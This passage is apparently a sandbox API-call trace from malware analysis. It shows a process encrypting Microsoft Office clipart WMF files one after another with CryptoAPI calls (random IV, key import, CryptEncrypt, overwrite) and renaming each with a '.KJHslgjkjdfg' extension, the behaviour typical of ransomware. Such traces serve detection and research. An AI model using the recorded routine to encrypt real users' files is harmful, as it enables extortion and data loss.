pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.381] GetProcessHeap () returned 0x2ef0000 [0195.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.381] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.381] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.381] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.381] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.381] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.381] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.381] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.381] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.381] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3772, lpOverlapped=0x0) returned 1 [0195.417] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3780, dwBufLen=0x3780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3780) returned 1 [0195.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.417] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3780, lpOverlapped=0x0) returned 1 [0195.418] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.418] SetEndOfFile (hFile=0x130) returned 1 [0195.419] GetProcessHeap () returned 0x2ef0000 [0195.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.419] GetProcessHeap () returned 0x2ef0000 [0195.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.kjhslgjkjdfg")) returned 1 [0195.420] CloseHandle (hObject=0x130) returned 1 [0195.420] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0195.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.421] GetProcessHeap () returned 0x2ef0000 [0195.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.421] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.421] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.431] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.431] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.431] GetProcessHeap () returned 0x2ef0000 [0195.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.432] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.432] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.432] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.432] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.432] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x920e, lpOverlapped=0x0) returned 1 [0195.434] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9210, dwBufLen=0x9210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9210) returned 1 [0195.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.434] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9210, lpOverlapped=0x0) returned 1 [0195.434] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x92e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.434] SetEndOfFile (hFile=0x130) returned 1 [0195.437] GetProcessHeap () returned 0x2ef0000 [0195.437] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.437] GetProcessHeap () returned 0x2ef0000 [0195.437] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.kjhslgjkjdfg")) returned 1 [0195.438] CloseHandle (hObject=0x130) returned 1 [0195.438] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0195.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.438] GetProcessHeap () returned 0x2ef0000 [0195.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.439] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.439] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.439] GetProcessHeap () returned 0x2ef0000 [0195.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.439] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.439] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.439] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.450] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.450] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.450] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.450] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.450] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3df0, lpOverlapped=0x0) returned 1 [0195.451] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3df0) returned 1 [0195.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.451] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3df0, lpOverlapped=0x0) returned 1 [0195.451] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.452] SetEndOfFile (hFile=0x130) returned 1 [0195.454] GetProcessHeap () returned 0x2ef0000 [0195.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.454] GetProcessHeap () returned 0x2ef0000 [0195.454] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.kjhslgjkjdfg")) returned 1 [0195.456] CloseHandle (hObject=0x130) returned 1 [0195.456] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0195.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.457] GetProcessHeap () returned 0x2ef0000 [0195.457] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.457] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.457] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0195.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.459] GetProcessHeap () returned 0x2ef0000 [0195.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.459] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.460] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.460] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.460] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.460] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4712, lpOverlapped=0x0) returned 1 [0195.461] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4720, dwBufLen=0x4720 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4720) returned 1 [0195.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.461] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4720, lpOverlapped=0x0) returned 1 [0195.462] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x47f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.462] SetEndOfFile (hFile=0x130) returned 1 [0195.464] GetProcessHeap () returned 0x2ef0000 [0195.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.464] GetProcessHeap () returned 0x2ef0000 [0195.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.kjhslgjkjdfg")) returned 1 [0195.465] CloseHandle (hObject=0x130) returned 1 [0195.465] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0195.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.466] GetProcessHeap () returned 0x2ef0000 [0195.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.466] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.485] GetProcessHeap () returned 0x2ef0000 [0195.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.485] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 